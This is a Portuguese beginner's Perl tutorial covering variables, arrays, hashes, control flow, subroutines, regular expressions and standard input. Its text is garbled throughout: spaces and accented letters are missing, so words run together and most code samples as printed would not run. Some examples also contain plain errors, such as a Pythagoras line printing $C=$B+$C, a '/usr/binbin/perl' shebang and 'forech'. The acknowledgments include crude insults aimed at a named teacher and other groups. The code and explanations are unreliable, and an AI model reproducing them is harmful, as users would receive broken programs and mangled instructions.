Вы находитесь на странице: 1из 103

TrabalhandocomPerl

porAntonio(Cooler)

http://BotecoUnix.com.br

Paraquemseriaaapostila?
*ParaIniciantes
*Paraacharumasoluoquandovocestaemcrisenalinguagem.
*ParaAdministradoresdeSistemas,programadoresemoutraslinguagensetc...

Autor:
Cooler_(Antonio Carlos) estudanteem C,AWK,Perl,PHP,Javascript,Ruby,SQL. E gosta

de estudar sistemas operacionais e segurana em geral em sistemas *Linux e


*BSD,em horaslivresbrincacompacketfilterdoSeu OpenBSDalemdefazer
templatesemHtml+CSSeestudarepraticarPerl,Coolertemumaintranetno
poro de sua casa onde tem seus servidores local onde de fato faz suas
experinciasdesistemaseprogramao.
CoolerumdosescritoresdoblogBotecoUnix.com.bremembrodeumgrupo
de estudo junto com amigos onde fazem trabalhos como freelancer com
programaoetrabalhosrelacionadoscomT.I.
Qualquererronaapostilapeohumildementequememandeumemail
tony.unix@yahoo.com.br

Agradecimentos

ADeusportudo

AosmeusPaispordaraumfilhodesempregadorespeito,moradiaebandalarga,atoda
minhafamliaporsepreocuparecuidardeminnashorasquemaisprecisei...
Ao Mlk(Renan) pela amizade e fazer doaes com verba para me ajudar
financeiramente ,me ajudando assim a crescer a ter uma viso mais ampla de de
trabalho.ETambmporterpacinciaeexplicarcomofuncionacertasvulnerabilidadesem
algunssistemas.
Ao Voidpointer(Diego rocha) por me ajudar pelo IRC, quando estava aprendendo a
programarmedandoforaparacontinuartentandoemeincentivando,mesmoquandoeu
estavadesistindodetudo...
AoRodrigodeGuarpelaamizadeeporjogarcomigopinballefliperama...
AoMeu TioPaulinho pelaamizadeepormeemprestarseucomputadorcomacessoa
internet...
Ao Dr4k3eColt7r mesmoestandosumidosdomundoUndergroundedoIRC,agradeo
pelaamizadeepelatrocadeconhecimentos.
Ao Jos Renato pela amizade e por me apoiar no projeto BotecoUNix e ajudar com
hospedagemeasuaempresaWincase.com.br.
AoHelderpelaamizadeeporterescutadoinmerasvezesminhasreclamaesdomundo
AoLeonardopelaamizadeesuportarmeussolosdeguitarrade40minutos...
AoIAK,n0mad... pormedardicassobrealgunsassuntoseporescultarminhaspiadas
horrveis.
Aomuzgoportermedadovriospuxesdeorelha...
AoCPANemembrosqueajudamcommdulosedocumentao...
AcomunidadeOpenSource
Ao Perl monges de So paulo ala Mantovani e edenc por serem legais e por eles
suportaremminhasperguntaschatasesemnexonoirc.perl.orgcanalsaopaulo.pm
AoPessoaldafreenodedoscanaisC4LL,slackwarebr,debianbr,perlbr,#cbr
AtodososmembrosdoBotecoUnixeleitoresdePlanto!

Noagradecimentos
Aogrilo_FDPporterpassadocomandoerrado4anosatrspeloIRCfazendoeuperder
meuSlack,issoquandoeuestavaaprendendoausarlinux...
AoteletubiesporseremidiotaseaosEMOs
AosUsersGentooqueesperamoGNOMEcompilarem44hsparafalarqueusagentoo
AoGarcporbrincarnoIRCfalandoquesouumnerdqueeusficoemcasa...
Aos Users,programadoresdewindows,SolariseMacOS porteremcoragemdesentar
numcarrosemsaberquantoomotortemdepotenciaemuitomenoscomofoifeito.
AprofessoradematemticachamadaRosangelaquenuncabotoufemmin,esempre
deixava minha moral baixa no ensino fundamental pelas minhas notas serem baixas.
Nuncameincentivouatentarpelocontrriomemarcavaemehumilhava.jpassomaisde
6anos,esperonoveraquelaFDPnuncamais...
Aos PerlMonksquesoorgulhosos quesquerempisareminiciantesepornoterem
humildadenosaemdolugar...
Ao governo do Brasil por ter cobrado imposto alto nos livros estrangeiros que eu
compravaparaestudar,pelaidiaidiotadanotafiscalpaulista...
A cidade de So paulo por encher meus pulmes de poluio me causando asma e
destruindominhavida,aosFDPquebotafogonomatoeemborracha,aosidiotasqueno
cuidamdaguaedomeioambiente....
Aosjovensquesquersaberdebebereirparabaladaagitaropocodecrebroquetem.e
vermalhaonaredebobo,eficarusandocolardemadeiraouvindoPsy.
Aos Alunos de T.I do ITA,Poli... orgulhosos por no compartilhar conosco seus
conhecimentos,pornoaderiremomundolivredaGPL,MITedoBSD.
Asmulheresquemederamforsporquenotinhacarro!
Porfim,Aqueleinfelizquesestalendoesteebookparabotardefeito!
Booknoversofinalbetaapenas!!!

PerlNodifcil!

issomesmoperlnodifcilmasmesmoassimsleiaestaapostilasevoctivermuita
vontadedeaprenderporcontaprpria,livroquetegaranteaprendizadoemT.idifcil
principalmenteporqueseoprofissionalnoseatualizar,seuconhecimentoficaobsoleto
casodemuitosprofessoresaidefaculdade,porestesmotivosaquicitadosolivromostra
sites para voc obter informaes quentes da linguagem ou seja te ensina a pescar
mesmoquandoorionoestaparapeixe.
PerlumalinguagemcommuitoscaminhosvocpodefazerSpiders(robozinhosdeinternet)
oumesmooptarparaWebfazendosistemasdeecommercesenomeenganooamazon
usa Perl Mason,youporn usa Perl catalyst um framework novo para trabalhar com
Web.Comperlpodemosfazerprogramasparatrabalharcombancodedados,programas
paraadministraodosistemanodiaadiaprovadissooprogramachamadoWebMin
feitoemPerl.emperlvocpodetratarimagens,fazergrficosdebarra,fazerprogramaspara
escutarmsicaporexemplo,fazerjanelasusandoTK,gtk,wxwidgets...emfimperlnotem
limitesissoporquenemfaleideprogramasdeseguranaoNiktomesmofamosopor
defacersfeitoemPerl...
EsteEBooktemcomofinalidadeajudaroleitoraentrarnestemaravilhosomundodesta
linguagemdeprogramao,claroqueimpossvelvocsetornarMestreemPerlsomente
comosassuntosdestelivrovocterquebuscaroutroslivrosexemplosdicasentreoutras
coisas,devosalientarqueesteebook sita outros books isso mesmo para cada assunto
existeumlivrodeperldepelomenos400pginasporexemploCGI,LWPoumesmo
Template toolkit. Ento vamos tentar lapidar alguns assuntos dando asas para voc
leitorvoarnoslugarescertos.

Capitulo1
________________________________________________________

IniciandonoMundodoPerl

"Umsonhosonhadosozinhoumsonho.Umsonhosonhadojunto
realidade."
PorRaulSeixas.

IniciandonomundodoPerl
AsiglaPERLsignifica"PracticalExtractionAndReportLanguage".Tallinguagempermita
criao de programas em ambientes UNIX, MSDOS, Windows, Macintosh, OS/2, e em
outrossistemasoperacionais,Perlfoicriadoem1987peloLarryWallosenhordafoto.Trata
sedeumalinguagemquepossuifunesmuitoeficientesparamanipulaodetextos,o
que a torna muito popular para programao de formulrios WWW, alm de ser muito
utilizada em tarefas administrativas de sistemas UNIX, A linguagem PERL est sendo
amplamenteutilizadaporserrpida,eficienteedefcilmanutenonaprogramaode
uma ampla faixa de tarefas, particularmente aquelas que envolvem manipulao de
arquivos de texto. Alm disso, existem muitos programadores de PERL compartilhando
seuscdigosabertamentepeloCPANetc...

OqueCPAN?
Asiglasignifica"ComprehensivePerlArchiveNetwork"lugarondePerlMonks

divulgamseusmduloseondevocpodeveradocumentaodosmdulosalem
deinstalarelesmaistardevamosestudareleparainstalarmdulosesaber
interpretaroquenele....
OquePerlMonk?
PerlMonksseriaosgurusdoPerlMonksfreqentementecitameventospassados
pararesolvertemaspolmicosrecorrentesdoperl."www.perlmonks.org"
empalavrasmaissimplessomongesdoperl.
visitehttp://saopaulo.pm.org/
PorqueoCameloosimbolodoperl?
Devido ao primeiro livro da linguagem escrito por Larry wall este livro fico
conhecidocomo
"Camel book" o fato de ser camelo segundo Larry Wall "Camelo poder andar
durantedias...".

"EmsumaparaminPerl=AWK+smalltalk+C"
Perlfoifeitoapartirdoque?
PerlfoifeitocomlinguagemCporLarryWallestesdetalhespodemservistosno
livroaquisitadodoLarryWall...
PrimeiroProgramaemPerl
Vamosnestadepoisdevriasexplicaesdalinguagemvamosporamona
massamasantesvamosversevoctemalgunsingredientesparatalfeito.
*InterpretadorPerl
SeVocusaLinux,*BSD,UnixeafinspodeficarnumaboapoisprovavelmentePerl
vempordefault..
CasosejausuriodeWin32instaleo"Activeperl"ououtrointerpretador.
strawberryperl.com
activestate.com
*Umeditordetexto
SimumeditordeTextoparavocescreveroseucdigoeuprefirousaro"VIouVIM"
unspreferemoblocodenotasdowindowsoutroso"Jedit"ficaasuaescolha.

Tendoosingredientes
Vamosl,coloqueocontedonoarquivotexto
#!/usr/bin/perl
print"OlaBemvindoaoMundodePerl\n";

depoissalvecomofinalextenso".pl"
depoissevocestaausarumUnixdeocomando
user$perlnome_programa.pl
ou
chmoda+xmy_program
./my_program

Depoisvejaasada,Sevocestivernowindowsapenascliquenoconedoarquivocriado
assimoactiveperlirainterpretaroseucdigo.
certomasoque"#!/usr/bin/perl"?
olocalondeosistemaexecutaointerpretadordeperlnocasodewindowsolocalseria
diferente"#!C:/perl/bin/perl.exe"masalgunsinterpretadorescomoActiveperlconverte
"/usr/bin/perl"paraolocaldowindows...
Oqueseria"print"e"\n"?
printteriaomesmoconceitoemalgoritmosquandovocusa"escreva"e"imprima"ouseja
eleirimprimirnoterminaloqueestadentrodasaspas,Jo"\n"seria"newline"ouseja
fazcomqueoperlpuleumalinhatalvezumacaractersticaherdadadonossoamigo"C".

videcaptulo3
Eagora?
Agoravamosestudaralgumacoisamaisconcretacomovariveisemperlassimvocj
podeteruma
noodoquevaivirprafrente.
Emperltemos3tiposdevariveissoelas:
Scalar(Escalar)=Guardadadosdeformasimples
Arrays(matrizes)=Guardadadoscomosefosseumalista
Hash(Matrizesassociativas)=Guardadadosdalistaemchaveevalor
Variveissoreasdearmazenamentonasquaispodemserguardadosdadosquesero
utilizadosduranteaexecuodeumprograma.Ocontedodeumavariveldenominado
de"valor".Osvaloresdevariveispodemseralteradosaqualquertempo.
VarivelEscalar
No perl uma varivel simples para armazenar dados e alfanumricos chamada de
escalar
comovamosver,primeirovamosdefinirnomedanossavarivelquevaiser"$pizza"dai
vocmepergunta"Oqueeste$?"daieurespondoquandoforusadovariveisescalares
temosquebotarocifronafrentedonomedanossavarivelassimoperlreconhececomo
varivelescalar.
vejaoprograma
#!/usr/bin/perl
#programatestecomscalar
usestrict;
usewarnings;
my$pizza="calabresa";
print"vocoptouporpizzade$pizza\n";

explicandooquetemdenovonelesegundalinhatem"#programatestecomscalar" o
sinalde"#"significaquealinhaumcomentrioousejaointerpretadornovailera
linha.
J na terceira e quarta linha temos duas paragma do perl mdulos que alteram o
comportamentointernodointerpretador.Oparadigmasstrictrestringeousodealgumas
declaraesquepoderiamlevaroprogramadoraenganos,comoautilizaodevariveis
semescopodeclarado.Havendoalgumproblema,ointerpretadornoprossegueeoscript
noiniciado.Jopragmawarningsavisasobrecomportamentosnotratados.
Quantoaoparmetro"my"usamosnoPerlparadeixarclaroqueavarivelnoglobale
simlexical
issodeixaelanoescopodoprogramanonossocaso
varivel "$pizza" recebeu oalfanumrico "calabresa" ao interpretar o programa temos a
mensagem
"vocoptouporpizzadecalabresa"

Os dados em Perl no so "tipados". Quando se tem uma seqencia de caracteres


constituda apenas por caracteres numricos (ex. "2.34"), podese efetuar clculos
numricos com a mesma, sem nenhum problema. Da mesma maneira, podese tratar
valoresnumricoscomoumaseqenciadecaracteres.
Antesdedeusarnmerosvamoscontinuarcomstrings(alfanumricos)
Nesteoutroexemploiremossomar"strings"usando"."
#!/usr/bin/perl
$var="hello"."world\n";
print"$var";
resultado:
helloworld
Agoravamosmultiplicarstrings
#!/usr/bin/perl
$var="otario\n"x3;
print"$var";
resultado:
otario
otario
otario

Perltemumaformamuitoelegantedenidarcomstringspodemosfazer"n"coisas
$var=6x3;#resultadovaiser666numerodoMalhaha
$var="Catatal"x(2+2);#issovaidar"CatatalCatatalCatatalCatatal"

Agoravamostrabalharcomoperadoresnumricos
podemostratarnmerosagoradeformasimplesaoatribuirelesnanossavarivel
+Soma
Subtrao
*Multiplicao
/Diviso
**Exponenciao
%RestodaDiviso
comoporexemplomultiplicao
$var=2*4;#resultado8
Exemplodesoma
$var=2+2;#resultado4
divisocomnmerosreais
$var=10.5/0.5;#vaidarumnumeroquebrado
ouquetaloTeoremadePitgoras
#!/usr/bin/perl
$A=2**2;
$B=4**2;

$C=6**2;
print"esquemadoteorema$C=$B+$C\n";
tambmpodemosusarbaseoctaloudecimal
#!/usr/binbin/perl
$A=0377;
print"$A\n";

resultado255

bemterminandoaexplicaodevarivelescalaremperldeixoumatabeladecaracteres
decontroledeinterpolao.

Caractere
\n
\a
\b
\r
\e
\t
\"
\\
\f
\c[
\033
\x7f
\N{nome}
\l
\u
\L
\U

Nome
NewLine(Novalinha)
bell(sinalsonoro)
retrocesso(backspace)
retornoautomtico(return)
ESC(escape)
tabulaohorizontal(tab)
aspasdupla
barrainvertida
avanodeumformulrio(formfeed)
controlc
escemoctal
delemhexadecimal
caracterenomeadovide"perldoc
charnames"
aplicaminsculonocharseguinte
aplicamaisculonocharseguinte
aplicaminsculoat\E
aplicamaisculoat\E

VariveldeListas,vetoresouArrays
Bemvariveisdotipoarraysodeterminadaspelocaracter"@"noiniciodoseunomecada
variveldestetipopodeserarmazenadaumasriedevalores.
ex:deatribuiodeformasimples
$lista[0]="cooler";

exemplos
#!/usr/bin/perl
my@lista=('cooler','chapolin','seumadruga','tijolo','pele');
print"nome$lista[0]\n";
print"nome$lista[4]\n";
foreach$nomes(@lista){
print"ola$nomes\n";
}
#!/usr/bin/perl
my@teste=('tonhao','chucknorris','millesdavis');
print"\n"$teste[2];
foreach(@teste){
print"$_\n";
}

explicando
atribumosumaquantidadedenomesqualquereimprimimosusandoolao"foreach"
tambmusamosumavarivelespecial"$_"queseriaaslinhasdonosso"array""$_"nada
maisdoqueumavarivelpredefinidaquecontemovalordaposioatualassimagente
noprecisausar"$teste[0],$teste[1]"paraimprimircadaelemento.
VimosaquiumLoopbemsimplesemperlusandoforeachfazendoassimelepercorrerpor
todososdadosdonossovetoremostrandocom"print".
AgoravoumostrarumprogramaqueumtipodeescoladeArraysemperleletemlinha
porlinhacomentadaexplicandocadaprocessonelevocvaiaprendernofiqueassustado
comquevocverpoismuitacoisavamosverosdetalhesparafrentecomoregexe
condies...

#!/usr/bin/perl
#usandomtodosdeSortcomarraysbyC00L3R_
header();sleep2;
print"\nmostrandoalista\n";
@lista_num=(1,3,9,12,26,31,34,228,11,22,33,7,6793);
#imprimindoalistadeformaorganizada
foreach(@lista_num){print"numero:$_\n";}
#mostrandoalistaemordemcircular
print"\nmetodocircular\n";
@circular=@lista_num;
unshift(@circular,pop(@circular));
foreach(@circular){print"numero:$_\n";}
#imprimealistaaocontrariodeformaorganizada
#foreach$b(reverse@a){print$b;}jaelvis
print"\nimprimindoalistaaocontrario\n";
@contrario=reverse(@lista_num);
foreach(@contrario){print"numero:$_\n";}
#arrumandoporordemnumericaemostrandodeformaorganizada
print"\narrumandoporordemnumerica\n";
@ordem_num=sortpor_ordem@lista_num;
foreach(@ordem_num){print"numero:$_\n";}
#arrumandoporordemnumricanocontrarioemostrandodeformaorganizada
print"\narrumandoporordemnumericaaocontrario\n";
@contra=sortcontrario@lista_num;
foreach(@contra){print"numero:$_\n";}
#arrumandoemordemalfabticaarraycomnomes
print"\nordemalfabtica\n";
@lista_nomes=(carlos,jonas,bruno,jonas,milles,cassio,otario,
felipe,loko,anta,paulo,roberto,jose,pablo,srv,zeraldo,eduardo,
caio,kaua,diego,fabio,pedro,helbert,geraldo,jonathan,linus,
theo,ken,monstro,otaciolio,tonhao,beto,dartanhan,joe,jimi);
@ordem_alfa=sort(@lista_nomes);
foreach(@ordem_alfa){print"nome:$_\n";}
#mostraquantosnomestemnalistadoalfabeto
$quantidade=push(@lista_nomes);
print"nalistatem$quantidadenomes\n";
print"agoraimprimindonomesquecontemletraJnoinicio\n";
foreach(grep(/^[J,j].*/,@lista_nomes)){
print"nome:$_\n";}
print"agoravamospegaralistainteiraevamosusarparaestudo\n";
sleep2;
#alterandoeremovendoalgumelementodalista
print"Desejaalteraralistadenomes\?\n";
$escolha=<STDIN>;chomp$escolha;
if($escolha=~/[Y,y]es|[S,s]im|[B,b]lz|[B,b]eleza|ok/){
print"desejaadicionarouremover\?\n";$choice=<STDIN>;chomp$choice;
if($choice=~/[A,a]dd|[A,a]dicionar/){
print"quantosnomesvocqueradicionar\?\n";$cont=<STDIN>;chomp$cont;
for($num=0;$num!=$cont;$num++){
print"digiteumnome\n";$name=<STDIN>;chomp$name;
$list_new=push(@lista_nomes,$name);}
@ordem_beta=sort(@lista_nomes);
print"\nmostrararray\n";
foreach(@ordem_beta){print"nome:$_\n";}
print"$list_newelementos\n";}
if($choice=~/[R,r]emover|[R,r]m/){
print"qualnomedalistavocdesejadeletar\?\n";
$nomekill=<STDIN>;chomp$nomekill;$conta=0;
foreach(@ordem_alfa){$conta++;
if($_=~/$nomekill/){$conta;delete$ordem_alfa[$conta];}}
print"\nnomeremovido\nmostrarlista\n";
#loop+regexsimplesqnopermitemostrarlinhasbrancasdoarray

foreach(@ordem_alfa){if($_=~/^\S+/){
print"nome:$_\n";$result=push(@lista_nova,$_);}}
#fimdoprogramamostranumerodoselementos
print"$resultelementosnalista\n";
print"funcaoterminada\ncodedbyC00L3R_\n";exit;
}}
print"obrigadoporusaroprograma\n";
subpor_ordem{$a<=>$b;}
subcontrario{$b<=>$a;}
subheader{
printq{

codedbyC00L3R_
==================
ExemplosdeSortcomArrays
=============================

}}

Dica
interpreteestecdigotenteentendercadalinhaleiaoscomentrios...
Comandos
Push=insereelementosdalistaespecificadanoarrayevoltacomonumerodeelementos
Sort=organizaoarraydeacordocomaconfig$ae$b...
unshift=insereelementosnoiniciodoarraydepoisretornaonumerodeelementos
grep=pesquisaporexpresso
reverse=retornaalistaemordeminversa
poderiairmaislongecomarraysmasaindatenhoqueexplicarmaisassuntos
agorairemosverHashs.nofiqueassustadocomquevimospoissecontinuaraleituraira
vermaistardeasoluoparasuadvidalaparaosprximoscaptulos.

VariveldotipoHash
Hashemperlseriaumavarivelqueatribuidadosemparessendo"chaves"e"valores"de
formageralpodemosverquehashseriaumtipodearraycompares.Vouexplicarcomum
grficoseufuncionamento.

Variveldotipohashemperldeclaradacomcaractere"%"logodeinicioexemplo
"%nossa_hash"
voumostrarumexemplodeuso
exemplo:
#!/usr/bin/perl
%Dados=("Nome","cooler","Idade",21,"Grau","Superior");
print$Dados{'Nome'},"tem",$Dados{'Idade'},"anosdeidadeegrau",$Dados{'Grau'};
#separandovaloresdaschaves
my%hash=("a"=>1,"b"=>2,"c"=>3);
my@Lista_chaves=keys%hash;
my@lista_valores=values%hash;
forech(@lista_chaves){print"$_\n";}
while(($key,$value)=each%hash){
print"$key=>$value\n";
}
Noexemplomostreialgunstiposdeusocomhashoquetemdediferentenoexemploo
usodo"while"queseriaumloopemperlmuitosemelhantecomwhiledalinguagem
C,EnquantotivercondioXimprimachaveevalor,jocomando"each"retornaumarray
comdoiselementos
chaveevalordahasheindoparaoprximoelementoatquandoacabarquesera
preenchido
comovalor"null".
outrosexemplos

adicionandochaveevalornahash
$hash{"$codigo"}="$resposta";
deletandoumachaveeumvalordeumahashapartirdonomedachave
delete$hash{$chave};
dandosortnosvaloresdahash
foreach$value(sortvalues%hash){print"ordemalfabeticadoselementos$_\n";}

Capitulo2
________________________________________________________

FunesdeControle

"VivaaSociedadeAlternativa"
PorRaulSeixas.

Condies(if,else,elsif,unless)
EmPerlexecutacadadeclaraoemseqncia,apartirdaprimeiraltima.
assimcomomuitaslinguagensdeprogramaosemelhanteaoumalgoritmo
bemaestruturadecondiesemperlmaisomenosesta.
if(EXP){
entofaacontedodentrodachaves
}else{
senocontedodentrodestaschaves
}

comparandocomumalgoritmo
se(bla){y}
seno{x}
outroexemploporememprticanalinguagemnaseguintesituao
imagineumprogramadeumaautoescolasalgosimplescomocadastros...
#!/usr/bin/perl
usestrict;
my$clientes=0;
my$cadastro.="________________Cadastros______________\n";
inicio:
print"$cadastro\ntotal:$clientes\n";
print"mefalesuaidade?parasairescrevasairousaia\n";
chomp(my$idade=<STDIN>);
if($idade=~/^sai(r|a)/){print"saindo\n";sleep1;exit;}
if($idade=~/\d{3}|\d{2}|\d{1}/){
if($idade>="18"&&$idade<="110"){
print"vocpodetirarcartademotorista\n";
print"Qualseunome?\n";
chomp(my$nome=<STDIN>);
$cadastro.="Nome:$nomeIdade:$idade\n";
print"Obrigado\ncadastrofeito\n";
++$clientes;
gotoinicio;
}
else{
print"vocmuitonovo\nnopodetirarcarta\n\a\n";
sleep2;
gotoinicio;
}
}
else{
print"informesuaidadeatravsdenumerosinteirosapenas\a\a\n";
sleep2;
gotoinicio;
}

Quantoo"goto"querdizer"vpara"eviteusarestafunopoissinalde
POG(programaoorientadaagambiarra)invsdegotouse"goto&funo"muitomais
elegante.
videmais"perldocfgoto"

jo"sleep"fazqueoprocessodoprogramaesperardeterminadossegundos
estalinha
if($idade=~/^sai(r|a)/){print"saindo\n";sleep1;exit;}
if($idade=~/\d{3}|\d{2}|\d{1}/){

soregexprocurenestaapostilaporregexquevocirsaberoquefaz...
exemplopodemosverexpresseslgicasecomregexparaavaliarumdeterminada
entradasevlidaouno,outroexemplopodemosusaro"unless"queseriaum"sefor
falso"
unless($a<18){
print"vocepodevotar";
}

Esetivermuitasescolhaspossveis
vocpodeusaraexpresso
if(some_expression_one){ifsome_expression_one(
one_true_statement_1;one_true_statement_1
one_true_statement_2;one_true_statement_2
one_true_statement_3;one_true_statement_3
})elsif(some_expression_two){elsifsome_expression_two(
two_true_statement_1;two_true_statement_1
two_true_statement_2;two_true_statement_2
two_true_statement_3;two_true_statement_3
}elsif(some_expression_three){)Elsifsome_expression_three(
three_true_statement_1;three_true_statement_1
three_true_statement_2;three_true_statement_2
three_true_statement_3;three_true_statement_3
}else{)Else(
all_false_statement_1;all_false_statement_1
all_false_statement_2;all_false_statement_2
all_false_statement_3;all_false_statement_3
})

OutraDicaseriacondiesdentrodevriaveis,assimcomonalinguagemCvocpode
vermaissobreestascondiesnadocumentaodoPerlmaisvamosaumexemplo
#!/usr/bin/perl
#exemplocomousarcondicoesdentrodevariaveis
$a=2;$b=5;
$var=($a>$b)?$a:$b;
#equivalenteaif($a>$b){print$a;}else{print$b;}
print"$var\n";
Sparafecharestecaptulovamosmaisumexemplodeusodiferentedecondio
$num=2;printtemonumero$numif$num;
Oqueteriaomesmopesolgicoque
if($num){
printtem$num;

Loopscom(While,for,foreach)
O"while"doperlequivalenteaum"enquanto"emalgoritmoou"while"emC
ousejaenquantocondio"X"estiverrolandoelevaifazerexpressopedidaque
estadentrodaschaves.exemplodeestrutura
#!/usr/bin/perl
$num=0;
while($num<=10){
print"$num\n";++$num;
}
vaiimprimirnatelade010emcadalinhapodemosusartambmo"for"paraomesmo
#!/usr/bin/perl
for($num=0;$num<=10;++$num){
print"$num\n";
}
irdaromesmoresultadoduranteainterpretaodoperl
agoranesteexemplovamosdarumalista(array,vetor...)bemporempodemosusar
o"for"parafazeroloopparairmostrandooselementosdanossalistamastemos
o"foreach"quepodefazeramesmafunodeformamaisfacil...
#!/usr/bin/perl
@lista=("chakal","cooler","hellboy","coisa","Senhormadruga");
foreach$linha(@lista){
print"nome:$linha\n";
}

nesteexemplovaimostrarnatelatodososnomesdalistaporemtemcomosimplificar
aindamaisveja
#!/usr/bin/perl
@lista=("chakal","cooler","hellboy","coisa","Senhormadruga");
foreach(@lista){
print"nome:$_\n";
}

agoraestamosusando"$_"ousejaumaentradainputpadroousejanocasocada
elementodonossoarrayvaipassarporestavarivelespecialnoquevaidaromesma
respostadooutroexemplo.

Funes(subrotinas,ponteiros...)

Bemfunesemperlpodeteajudaraorganizarmelhorseucdigodeformaqueelefique
maisbemvistoporoutrosprogramadores,bemvoudarumexemplo;
#!/usr/bin/perl
$pergunta=resposta();
print"$pergunta\n";
subresposta{
$resposta="estoudeboa\n";
return$resposta;
}

parachamarafunousamoso"nome_funo()"eparacriarafunousamos"subnome{
contedo}"noexemplocompletamosavarivelperguntacomavarivelrespostada
funousandoanossafuno.
#!/usr/bin/perl
$num=soma(2,5);
print"resposta$num\n";
subsoma{
@dados=@_;
$A=$dados[0];
$B=$dados[1];
$resposta=$A+$B;
return$resposta;
}
bemnesteultimoexemplooquevimosdediferenteseriao"@_"queseriaumvetorespecial

que usamos em sub rotinas para guardar os dados que esto entre parenteses dentro
destevetorespecialbempegamosdosdadosdovetoreguardamosemduasvariveis"A"
e"B"esomamoseretornamosavarivelrespostaparafunopararetornarnovalorda
varivel"num"prontotemosnossarespostadeformasimples.

ExpressesRegularesouRegex

Bemregexumpadroasercolocadocontrauma"string"deformacomparativaexemplo
if($string=~/padro/){entofaa}
TemosregexemmuitosprogramasnoUnixcomonovi,vimesedvemostambmem
awk,javascript
entreoutras,semregexficariadifcilnidarcomstringssusandosplitecomparandoletra
porletra
vetorizandoelasecomparandoiriademorarmuitoparachegarnumarespostasemfalar
naenorme
chancedesairalgumacoisaerrada...
natabelaabaixovamosveralgunsdestespadres

Agoravamosumexemploprtico:
#!/usr/bin/perl
print"digitealgumnome,numero\n";
chomp(my$valor=<STDIN>);
if($valor=~/[azAZ]/){
print"vocdigitou\"$valor\"ousejaumapalavra\n";
}
if($valor=~/\d/){
print"vocdigitou\"$valor\"ousejaumnumero\n";
}

Bemoqueesteexemplofazsimpleselepegaumaentradaecomalgumascondiese
padresderegexeleinterpretaseaentradadousurioumnumeroouumnome,com
esteexemplotemosum
usobemsimples.

Agoravamosimaginarquevoctenhaaseguintesfrasesemumvetor
totaldedoces=10,00
totaldefitas=20,00
totaldemapas=40,00
totalapagar=25,40
comovocfariaparaextrairapenasosvaloresesomarelesparadarumaresposta?

searespostaseriausarregexestacertovamosverumasoluonoesqueaquenoperl
temosomantra"paracadarespostaemperlpodemosobteramesmarespostaporoutros
meios"
#!/usr/bin/perl
@lista=(
"totaldedoces=10.20",
"totaldefitas=20.00",
"totaldebugers=15.90",
"totaldemapas=40.50");
foreach(@lista){
if($_=~/\w*\w*\w*\=(\d*\.\d{2})/){
$soma+=$1;
}
}
if($soma=~/\d.*\.\d{1}/){$soma.="0";}
print"total:R\$$soma\n";

Olhandodeprimeiravimosumcaractere"*"usadoemregexparaavisarquepodetermais
deumcaracterenaexpressooutracoisadiferenteousodabarrainvertidaem
caracteresporexemplo"\="
eo"\."secolocarapenas"="dentrodonossopadroderegexpodedarerroentousamos
"\"para
dizerparaopadroderegexqueodadoqueestadepoisdo"\"noespecial,outracoisa
quepodemosrepararousode"{2}"chaves,emregexusamoschavesparadeterminaro
numerodecaracteresdeumexpressonoexemplo(\d*\.\d{2})oquepodeser"digitoou
vrios.2dgitos"
Masograndetrunfodoprogramaocaractereespecial"$1"queoresultadoextradoda
nossa
regexpelopadroqueestaemparentesescomum"()"comcontedodaexpressoregular
(\d*\.\d{2})
Bemasegundacondioverificasetemapenasumdigitonofinaloresultadosetivereleadiciona
umzeronofinaldoresultadoecontinuacomoprograma.

Bemtemmuitacoisaquevaleapenaservistaemperlquandoagentetrataderegextem
livrosfalandosderegexaquisvamosverobsico,continuandoagoravamosver
substituiocomregexdadoumtextoqualquerdentrodeumalistavamosver
#!/usr/bin/perl
inicio:
@lista=(
"Opeixecaiunaaguapelamadrugada",
"Naomandeicomidaporqueestavadormindo...",
"jatinhaopeixeaumanoemeiornuncatinhaesquecido",
"dacomida,peixehepeixeagoravocompraroutro",
"oruinhequehemuitocaroopeixeaff...",

"vocompraroutropeixepelaamanha..."
);
print"analisandootexto\n\n";
foreach(@lista){print"$_\n";}
print"vamosfazeratrocas\n";
print"qualpalavravaisubstituir\?\n";
$let=<STDIN>;chomp$let;
print"substituir$letpor\?\n";
$new=<STDIN>;chomp$new;
if($neweq$let){print"palavranaopodeserigual\n";sleep2;gotoinicio;}
else{print"iniciandotroca...\n\n";
foreach(@lista){
$_=~s/$let/$new/g;
print"$_\n";
}
print"\nvoltando..\nparasairctrl+c\n\n";sleep5;gotoinicio;
}

Analisandooexemplovimosdecaraaregex"s/$let/$new/g"bemexplicandoocaractere
"s"opadroquefazsubstituioemperljaocaractere"g"nofinalelefazatrocaemum
oumaisvezessenoforusadoo"g"nossopadroderegexvaifazerapenasumatroc
aporlinha..
Avarivel"$let"astringasertrocadajavarivel"$new"avarivelasercolocada
osoutrosloopscom"foreach"jvimos.
outrafunoquepodemosusaremstringsdiferenteemsubstituioseriooSplit
queusamosparadividirumastringecolocaremumarrayvoudarumexemplo
#!/usr/bin/perl
$dado="Ozzy::Rock::1986::22\,60";
@cd=split(/::/,$dado);
print"
Banda:$cd[0]
genero:$cd[1]
ano:$cd[2]
valor:$cd[3]
";

issoiriadarcomosada

Banda:Ozzy
genero:Rock
ano:1986
valor:22,60

EmPerltemosmilharessesoluespararesolverumproblemadeumasituaoaqui
vimos
algumassoluescomregex...
paraverqualsoluopodesermelhorparavocemaissimplesprocureumlivrochamado
Perlbeastpracticesdao'reillyconsideradopormuitosumguiadeestilosde
programaocomperl...

Capitulo3
________________________________________________________

I/Oefilehandles

"Oprimeiropassoemdireoaosucessoo
conhecimento."
NikolaTesla

EntradaeSada(I/O)

Quandoestudamosumalinguagemdeprogramaosempretemosquepassarpor
entradasesadasemlinguagem"C"porexemplovemosalib"stdio.h"responsvelpor
entradaesadaquandousamoso"scanf","fscanf(stdin,"emassemblymesmousamoso
"stdin"eo"stdout"pararepresentarentradaesada,sevocestaboiandovoumostrarno
portugusestruturado...
imprima"olaissoumasaida";
leiavar;//issoehumaentrada
Emoutraspalavras"stdin"querdizer"standardinput"ousejapadrodeentrada
e"stdout"padrodesada.
Nestaapostilaeudeviaterexplicadoissoantesdo"RockandRoll"masjqueestamos
aqui
voudarumexemplodousode"I/O"emperl...
chomp($nome=<STDIN>);
print"ola$nome\n";
podemosusaratumloopparairpegandoasentradasdousurio
while(<STDIN>){
print"ola$_";
}
oualgomaisousadousarumoperadorde"diamante"
while(<>){
chomp;
print"ola$_!\n";
}
Bemalemdeterestesmtodosdepegarentradas"input"podemosaiusaroutrosmtodos
comoporexemploseforumwebsiteusarformseomdulo"CGI"parapegarosdadosmas
